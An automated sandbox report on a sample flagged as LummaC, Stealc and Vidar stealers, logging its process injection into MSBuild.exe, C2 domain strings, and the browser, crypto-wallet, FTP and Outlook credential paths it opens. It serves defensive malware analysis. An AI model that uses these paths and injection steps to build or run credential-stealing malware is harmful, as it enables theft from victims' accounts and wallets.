Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A6DA73 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00A6DA73

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: FdjDPFGTZS.exe PID: 4828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6376, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\userCAFIEBKKJJ.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\userCAFIEBKKJJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A			Jump to behavior

LummaC encrypted strings found

Source: userCAFIEBKKJJ.exe	String found in binary or memory: frizzettei.sbs
Source: userCAFIEBKKJJ.exe	String found in binary or memory: isoplethui.sbs
Source: userCAFIEBKKJJ.exe	String found in binary or memory: exemplarou.sbs
Source: userCAFIEBKKJJ.exe	String found in binary or memory: invinjurhey.sbs
Source: userCAFIEBKKJJ.exe	String found in binary or memory: wickedneatr.sbs
Source: userCAFIEBKKJJ.exe	String found in binary or memory: exilepolsiy.sbs
Source: userCAFIEBKKJJ.exe	String found in binary or memory: laddyirekyi.sbs
Source: userCAFIEBKKJJ.exe	String found in binary or memory: bemuzzeki.sbs

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

1_2_00419600

Writes to foreign memory regions

Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 41E000	Jump to behavior
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 42B000	Jump to behavior
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 65C000	Jump to behavior
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: FE4008	Jump to behavior
Source: C:\Users\userCAFIEBKKJJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\userCAFIEBKKJJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\userCAFIEBKKJJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44B000	Jump to behavior
Source: C:\Users\userCAFIEBKKJJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44E000	Jump to behavior
Source: C:\Users\userCAFIEBKKJJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 45E000	Jump to behavior
Source: C:\Users\userCAFIEBKKJJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: E78008	Jump to behavior

Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userCAFIEBKKJJ.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userCAFIEBKKJJ.exe "C:\Users\userCAFIEBKKJJ.exe"	Jump to behavior
Source: C:\Users\userCAFIEBKKJJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_6C714760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

1_2_6C714760

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_6C51B341 cpuid

1_2_6C51B341

Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_00E3C085
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: GetLocaleInfoW,	0_2_00E3622B
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: EnumSystemLocalesW,	0_2_00E3C372
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: EnumSystemLocalesW,	0_2_00E3C327
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00E3C498
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: EnumSystemLocalesW,	0_2_00E3C40D
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: GetLocaleInfoW,	0_2_00E3C6EB
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00E3C814
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00E3C9E9
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: GetLocaleInfoW,	0_2_00E3C91A
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: EnumSystemLocalesW,	0_2_00E35D7F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	1_2_00417B90
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	11_2_00A7C085
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: GetLocaleInfoW,	11_2_00A7622B
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: EnumSystemLocalesW,	11_2_00A7C327
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: EnumSystemLocalesW,	11_2_00A7C372
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	11_2_00A7C498
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: EnumSystemLocalesW,	11_2_00A7C40D
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: GetLocaleInfoW,	11_2_00A7C6EB
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	11_2_00A7C814
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	11_2_00A7C9E9
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: GetLocaleInfoW,	11_2_00A7C91A
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: EnumSystemLocalesW,	11_2_00A75D7F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\FdjDPFGTZS.exe

Code function: 0_2_00E27815 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00E27815

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA,

1_2_00417850

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00417A30 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

1_2_00417A30

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.userCAFIEBKKJJ.exe.a60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.1529415088.0000000000A8D000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1502719842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0.2.FdjDPFGTZS.exe.e4dad8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.FdjDPFGTZS.exe.e4dad8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.FdjDPFGTZS.exe.e20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1804495341.0000000001257000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6376, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 6376, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: MSBuild.exe	String found in binary or memory: \jaxx\Local Storage\
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: passphrase.json
Source: MSBuild.exe	String found in binary or memory: \jaxx\Local Storage\
Source: MSBuild.exe	String found in binary or memory: \Ethereum\
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: Ethereum
Source: MSBuild.exe	String found in binary or memory: file__0.localstorage
Source: MSBuild.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: MSBuild.exe	String found in binary or memory: \Exodus\exodus.wallet\
Source: MSBuild.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: MSBuild.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 6376, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.userCAFIEBKKJJ.exe.a60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.1529415088.0000000000A8D000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1502719842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0.2.FdjDPFGTZS.exe.e4dad8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.FdjDPFGTZS.exe.e4dad8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.FdjDPFGTZS.exe.e20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1804495341.0000000001257000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6376, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 6376, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6D0C40 sqlite3_bind_zeroblob,	1_2_6C6D0C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6D0D60 sqlite3_bind_parameter_name,	1_2_6C6D0D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5F8EA0 sqlite3_clear_bindings,	1_2_6C5F8EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6D0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	1_2_6C6D0B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5F6410 bind,WSAGetLastError,	1_2_6C5F6410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5FC050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	1_2_6C5FC050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5F6070 PR_Listen,	1_2_6C5F6070

